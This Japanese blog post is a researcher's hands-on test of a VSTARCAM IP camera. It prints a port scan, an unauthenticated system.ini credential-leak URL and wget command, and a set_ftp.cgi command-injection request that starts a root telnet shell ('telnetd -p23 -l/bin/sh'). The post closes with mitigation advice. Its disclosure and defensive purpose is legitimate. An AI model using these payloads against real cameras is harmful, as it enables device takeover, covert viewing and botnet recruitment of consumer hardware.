黒林檎です。
今日は、IPカメラをハッキングしていこうと思います。
◆最初に
巷で話題のIPカメラ『VSTARCAM Mini WIFI IP Camera 技術基準適合認定済み有線/無線LAN対応ネットワークカメラ C7823WIP』をハッキングして、どんなセキュリティリスクがあるか考えていきたいと思います。
最初に疑ったことはスピーカーの破損によるシステム音声のボヤきだったので、ウェブカメラで再生される音声データを抽出してみましたが、該当しそうな音声データはありませんでした。
金曜日にこんな面白い話が降ってきたので、速攻ポチって買いました。
同じシステムを使っているカメラを購入してハッキングしていたので、そこまで時間掛けずにハッキングできるだろうといったところでした。
(図)IPカメラ
私が検証したIPカメラのファームウェアバージョンなどを載せます。
・firmware:48.53.75.92(購入時状態、今回検証)
・最新firm:48.53.75.98(未検証)
見た瞬間に前にハッキングしたカメラと「絶対同じだ(笑)」と読み取れるぐらい同じパッケージ(箱の形・付属品・カメラの作り方)でした。
前回のブログでも軽く触れましたが、API公開情報が以前ハッキングしたカメラ同様に公開されていました。
https://www.foscam.es/descarga/ipcam_cgi_sdk.pdf
(図)API一覧表の該当箇所
前回の記事を読んでいない方は、ぜひ一読してみてください。
また、以前に0dayが見つかっており以下のページで確認することができます。
Zero-day exploits could turn hundreds of thousands of IP cameras into IoT botnet slaves
https://www.cybereason.com/ip-cameras/
0day Exploit
◆検証
それでは、流通してるカメラで実際にexploitが通るか確認していきましょう。
ポートスキャンでIPカメラのオープンポートを確認します。
==============================
Host is up (0.027s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
9600/tcp open micromuse-ncpw
10080/tcp open unknown(RTSP)
10554/tcp open unknown(ONVIF)
40202/tcp open unknown(HTTP)
==============================
(図)管理画面
(図)管理画面から読み取れる情報
CVE-2017-8225 - カスタムHTTPサーバー内の事前認証情報漏洩(認証情報)の問題から・・
以下のような情報が漏洩する可能性があります。
(通常時)IPカメラのアカウント資格情報が漏洩
(個別設定時)FTP・SMTPアカウント資格情報の漏洩
また、0dayでは「http: //IPカメラ/system.ini?loginuse&loginpas」で空の資格情報で設定ファイルを漏洩できたと発表されています。
もし、この脆弱性が下位ファームウェアで有効だった場合は、アカウント情報を変更していてもアカウント資格情報(ユーザー名・パスワード)は漏洩します。
また、そこからIPカメラが完全に攻撃者に掌握される可能性があります。
(図)認証情報の漏洩
ここからFTPやSMTPに不正アクセスされる可能性は多いに考えられます。
CVE-2017-8223 - その他 - 認証なしのストリーミングの問題から・・
rtspのストリーミング(カメラ)を不正視聴できるはずですが、こちらのIPカメラ(ファームウェア:48.53.75.92)では確認できませんでした。
===================
r00tapple@ubuntu:~$ vlc rtsp://192.168.128.104:10554/tcp/av0_0
VLC media player 2.2.2 Weatherwax (revision 2.2.2-0-g6259d80)
[00000000006be0c8] core libvlc: vlcはデフォルトのインターフェースで実行しています。インターフェースのない vlc を使用するには'cvlc'を使用してください。
[00007fbb9c003bb8] live555 demux error: Failed to connect with rtsp://192.168.128.104:10554/tcp/av0_0
[00007fbb940009b8] core input error: open of `rtsp://192.168.128.104:10554/tcp/av0_0' failed
QObject::~QObject: Timers cannot be stopped from another thread
===================
また、リモートでバックドア(telnet)の立ち上げが可能でした。
root許可されたRCE認証にOSコマンドインジェクションの脆弱性があるそうです。
この脆弱性を使うことで、任意のOSコマンドが実行できるためMirai(IoT botnet)のようにIPカメラをボット化させDDoS攻撃に加担させることも可能です。
コマンドインジェクションはin set_ftp.cgi(see $(ftp x.com))にあります
==============================
(1)一回目に送信するリクエスト
http: //IPカメラ/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p23 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0
(1)二回目に送信するリクエスト
http: //IPカメラ/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin
==============================
結果として、未だに脆弱性があるカメラが国内流通していたためexploitが刺さりました。
セキュリティが修正されているか不明ですが、ファームウェアの最新が「48.53.75.98」に更新するなどしてみてください。
(図)バックドアの立ち上げとハッキング
怪しい接続先などについて
昔中華製IoTカメラをハッキングしたときは、Zeusの管理プログラムが通信先サーバーに混入していた例がある。
今回は、「45.33.49.203」に適当なタイミングでSYN_SENTしているので気になりましたが、どうもlinodeというクラウドホスティング(SSD Cloud Hosting & Linux Servers - Linode)でした。
ping見てもわかるとおり、不安定なサーバーで怪しさはありますね。
ここは流した所ですけど、詳細に調べた方が良さそう。
(図1)45.33.49.203にコネクションしている
(図)ping間隔
以前に私がハッキングした、管理サーバーにZeusの管理コントロールプログラムが混入していた問題はココ
◆問題点
この脆弱性の問題点ですが、別のメーカーのカメラも購入したのですが同じシステムを使っているため(基盤のIPカメラのプログラムをチップセットのような形式で販売という形で提供されているため、同じプログラムが使いまわされている)同様の脆弱性を含んだ製品が国内に大量に出回っている可能性が高い。
今回話題になったIPカメラの攻撃ベクターを詳しく検証する必要性がある。
・・というのは、「1台」のIPカメラを完全に新規の0dayで乗っ取れた場合、横槍で多中華メーカーのIPカメラをハッキングすることが可能です。
イメージにすると、下記のようになります。
(図)1台掌握すれば同じ攻撃で別の機器もハック可能
上記が今回一番シビアな問題で、消費者が修正パッチを適用しても本当に修正されているか検証することが非常に難しいのと現時点で国内にどれだけ脆弱なチップセット組み込んだ中華IPカメラがあるか把握することが難しいとったところです。
=問題性が高いIPカメラ=
今回のカメラ(VSTARCAM)
同様の問題を持っていそうなカメラ(WANSCAM)
===
◆対策
情報が少なくてなんとも言えないのですが、「firmware:48.53.75.92」を今回ハッキングしたところ、このファームウェアのバージョンではこんな感じでした。
_____________________________________
・telnetはデフォルトでない
・IPカメラのアカウントはデフォルトでadmin/888888だが、スマホや管理画面から任意で変更することが可能。(変更することで攻撃のリスクは減る)
・同じようなIPカメラで、.iniファイルへのアクセスが正しくチェックされていないようで、攻撃者は、URIに空loginuseと空を付けて認証をバイパスできるようですが、私の環境(firmware:48.53.75.98)では確認できませんでした。
例「wget -qO- 'http://IP_addr/system.ini?loginuse&loginpas'|xxd|less」
・管理画面のHTTPサーバーのポート番号が再起動ごとに変化する。(これが一番対策で必要そうなので必須確認)
・認証無しrtspストリーミングは確認することは出来なかった。(これは確証微妙なので、いい検査方法あれば教えてください。)
_____________________________________
※最新firm:48.53.75.98(未検証)
・ファームウェアアップデート
・資格情報変更
もし、知見ある方で最新か下位のファームだった場合違いがあるか共有いただけると幸いです。
◆最後に
IoTは値段と品質は相違関係では無いというのが個人的な考えですが、こういった問題はセキュリティ意識(対応が早い国内メーカーの機器を使おう)などが問われる問題だと思います。
実際、中国メーカーの機器(しかも、汎用ファームウェアレベル)になってしまうとJPCERTなど国のセキュリティ機関も対応が難しく、今後このような消費者セキュリティは深刻な問題になるでしょう。
(1)一般消費者向けIoTセキュリティについて
(2)IoT診断について
(3)IoT診断士の育成について
(4)気になったIoTニュースを投げて議論する
これらの観点で、IoTセキュリティを議論するコミュニティのご参加お待ちしております。(ぜひ、運営手伝ってくれる方も募集してます)
(図)IoTSecJP